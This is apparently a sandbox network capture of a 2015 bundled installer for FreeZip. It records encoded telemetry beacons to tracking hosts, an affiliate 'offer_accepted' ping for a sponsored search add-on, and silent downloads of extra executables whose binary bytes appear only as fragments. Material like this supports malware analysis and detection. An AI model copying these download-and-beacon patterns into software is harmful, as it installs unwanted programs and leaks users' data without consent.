GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKOm5eZ4cw1FBPrMwLm 2sRKYX3Ti/i3YOiW0 omKwO0Y2XPqbUnjz51Bh/iAYXR/eNO/EFhS0oWvdLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKOB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GOt_Diu0Nabo6-XuAtBLLzRS6AihXtVPqTrUenMkWsdErVhkUxtDdg==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbKSe6wB6uwHTPUd/QfilrMBAltiGSLIu3jTI/BdPpi2K8DfJqMJzaCLHcPH8e2aI0 M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:01 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -GYMGotB66y8b_wlSttv66ouiKfZmWtzgDBI2hO5h2hqFHFzvMfVMA==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbK12B/VpfiJ4dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WU8WVIb8jn613X/B33qtY9StxWRXBLnhVrwFn ZIjHfjaezXpB4YeZy HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: PbQusnDM4aCyb9pxNPrg09yWOz22cdOc_XFyJhwdVK5e5n0etqPSog==
....


GET /p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoVq4dUk9GnPsFAL52sIXt4U0qLzPw Pacn85/VVOVEM HReSOat uWfthh0D7o0cmcw5/ 5Sh8s fxc/7Yop4xTroG83Cls2ohzLGNvvJ6pkseMNM H00qEGgh75DuWJt9TK8wWTyvLp8yXsLJdxo/ZSntfB84 2wN yMkaRh3W5d5SlKONgbzzxsVHBldbLfXyM0PiCv52w9AvPIsy064P3xU2zDWyebWqHtv2oE0WIBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Zntq6Ku_cF0AoRPJOLOSV8y_6BsivYdi8Wrq7G03gekUz5dbjcyQuw==
....


GET /p.ashx?e=aQQpsP6/AW1PNjxRBLtb4yyqCvv49V8o/WD6e6SZIIGq9exvwYRubwRSl12vCJvFNJGfYo7HeKz3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijpJPYxSEah4S b/YhL9w2PTXoMXpqBnYfdwv4GmPOBBwd/XCztdoPbIQuxFFygAloQTxIUcsgQ wiZa/wAgr78fanAVHlmf vATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ZjJjeM4_wJaBQSbXr2eC6VbWnsOk5XY3cxhupTediLtRNbyUUbyNHQ==
....


GET /p.ashx?e=N6dOqWm8Q95zRTWqMhK92y7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRoT3JQKoSvMaYBPEhRyyBD7DbfYAneP5MPopubDw8olAs Nle7oezr7YHWYd/vwxon8edeFgooUYb 2ZKqVpmMJm6Of9ocGmWJx/8D22fMkCRNVwvne4x3wjDUBlljpmKU8In48S6Xe28RUiyenMUWdnVXgd6TQBX2TfbAfdk2QEqV9sNxrhLAG9RStn5Fs7gF1fbDca4SwBv8vPmCTwtmQefIC2kPlP4P2vxpQ1dWE9PAWjA657PQNbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: nxPIHIXAz87dM2ZCecXRflMd6-aL3gh46HN4wg_3z4UUV1pNWyucfg==
....


GET /p.ashx?e=obiBp3WOda WjDTOqhvSES7nZonKtwTUNmtUyHLBzniMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovDnJaMIktI 8pKLGM4w2We7//bU6as8loQPc99SOr9PeryV3gJ5JPq6xIIWpTPES4rmkEK3qBiKqlHlQZU0J06e2QMy2m48Ok9gKkdlz1lRocKxf5n vItbBDL0iBnLmUkphfdOL Ldgy/AIaTgB 3tjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:10 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0d2fDzCLAA57A09sV3S7tiJFXcyIdmucBkBbxLJIJ0hH5T_30owHMw==
....


GET /p.ashx?e=eFCD8T/coiffLKKeESUbyeRCMlh3l5QDmkbcHfsclGUd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2X4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF02quj iDJcwIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSxYaxgIrAdBREYEeMvq2tZa6iosFMgdsNgU680KOoniLGmAUcQ /1Pg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: S7HlX5CuSyXQ7v_R3OCEOsu6maz2so7q9zVxAtQu0A6blrdJAbCCAA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 2015 01:28:11 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 3abf650c7bf73e47515000bddf3f05
c0.cloudfront.net (CloudFront)..X-Amz-Cf-Id: S7HlX5CuSyXQ7v_R3OCEOsu6m
az2so7q9zVxAtQu0A6blrdJAbCCAA==......


GET /p.ashx?e=XOxRKBm2zlwkTetWCphNvNJH6yqhsEm5xps2Fb43eqlAXdQqxJ1va0uGoedNVFAuIR1sKxPFdTdxsModaWePoUngbd48QfWmqZAjcwaDIMOmla4JYvWk GRDvcFNNMq6pKb81Sa5kgtoqKD5 RG1kgWPHy8c1b6vM/D6GMrTkRypRW8qn0uD1ce90znhXYsIjgb6v7cXpPttTZPlQp8Fmjg60cE2JfaCBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tZK17o44J_7ondB-rYQhzG79vJsNKzDXDNpyjYNJTspD9HM-q5smpQ==
....


GET /p.ashx?e=s5Ydxb c7o0DbDSBvTK 4ORCMlh3l5QDBBvtTcvyOOgd2u58kk/k/Q1XyCbetQQ4LiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68XS/G3EQZqX1I07m/8d9H/8 XNJWcNUb2gFOqBGDQz2QUylR/HjWbOd2e5PDAg/ZO0JQd5HxgIXe7dwEpH50ejEUygQwn ymuxyQvi1UiSlerMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUjFnCuA8WPDsg3hsKcVJgdwkAHqpRJS4JYsHJxOr0atW7yKu6t2Tb29l WE8Y8Gf5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:13 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KRp2HoqvOlnZz9lClLhaVD1M4tssgyBzcb_dGmsHQ8Wa4g6kPNyBnw==



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.wpm HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"0.73 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.73 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 1119845

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:29:07 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur
{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Fri, 30
 Jan 2015 01:29:07 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..


GET /software_files/freezip/9_20/FreeZip920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 30 Jan 2015 01:27:05 GMT

Content-Type: application/octet-stream

Content-Length: 1119845

Last-Modified: Tue, 30 Jul 2013 12:25:29 GMT

Connection: close

ETag: "51f7b0b9-111665"

Content-Range: bytes 0-1119844/1119845
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 0-583223/583224

Content-Length: 583224

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................#........................................s....
..................H...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.16973740042975754 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:56 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=657cd9m3NQGqLfoC4OqV/JVBhBZIp/uj62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNQAzrx43g/LCUxrs0caq6YtgKkdlz1lRoZ4gGQsTv/jI9jUckoqA0UZuenVdpknkqRI26ArDLGl0Z1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQzgXx6hK2 FRkosYzjDZZ7v/9tTpqzyWhA9z31I6v096/GI58s4qdMFCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:05 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=657cd9m3NQGqLfoC4OqV/JVBhBZIp/uj62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mScQhY67GlQ G1NXsmurJNQAzrx43g/LCUxrs0caq6YtgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F0KGvyB2b3a jshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLhPZicoVrIO6gNLtxmH87yasaZRg38QqQplaL66ttUFNNFI idKeXtY6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E4GJ4QV/LGgmjb7lwwGTBJho8h/FisYGSSDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb7TVCsYrHJ5c6WZOT20yVUcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8WGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4AUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx3402WUYXT58pFU7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
....


GET /app/ping.ashx?e=blUJ6JGwk9Iu52aJyrcE1BltYZMI0QSD2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65lask9gqBd1LVdGqU5OEArEIb lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPFhrGAisB0FERgR4y ra1lrqKiwUyB2w2BTrzQo6ieIsaYBRxD7/U AFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:06 GMT..Content-Length: 0......


GET /app/ping.ashx?e=yhrBLBbZM9WBOuidoZFbtcNTnuyhzCsUS8F/yrzxvGiRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablNM/OTSfAxpETFfEa7POv3dBPpL0iVh6pz0sajEdtXK5ho/QgOr9gQT2NRySioDRRrzTwCJRAS6WGe3FkalM8N0mPRXV7cLSOWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PevxiOfLOKnTB4uZ/p4emFS336Kc9MtkO2A== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:06 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:06 GMT..Content-Length: 0..


GET /sd?is=sm HTTP/1.1

Range: bytes=72903-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 72903-583223/583224

Content-Length: 510321

Connection: keep-alive
....x..Z.R.*..fEc.C. on.y[.K.A.w...[D.VtZ.....<.>..PA...`..l....
.......e....t...jH...Mu..I.e..!*(....3..Ti..1....V..a:[email protected]..
]...A....d..Pl..H..:...U....*.ri..0.B...)...L...w......q......KO.o.@..
F6..m..d..!1F0....CW%.c./[email protected].......
2..&e......./VV.{.r.I.dA...B..wF.w.:.<.....ax..g.e...U..)!..V....$.
c.....%(.....R....Y........./.L.ZJ...s ...~..X...$e......#c........W9G
..L0."..t`p....zW..WY..Kn.>..Nx....1h(...p..*.......s.^A7.. .K...7p
....=).km......jv..........{y~....~....y..n....L......B..5...#[email protected]
3.s.0.@.;}...z.....7..n...b.zi....!..r.....j&...,........Y..M...F.cz..
.w.?.....}.\^..*......m]f......v.p..4.pT...9..Z"..I..Sk.h....l...V.zLX
 ..X..f... 7..r..E.I.8..j.9..4C..a.k.-..$I}.IR...#..YH. ..]*..S.j.q...
.....A.@~......|. .N.....s.1...-.......K..W.iT#.>.<....-Y.UN.g..
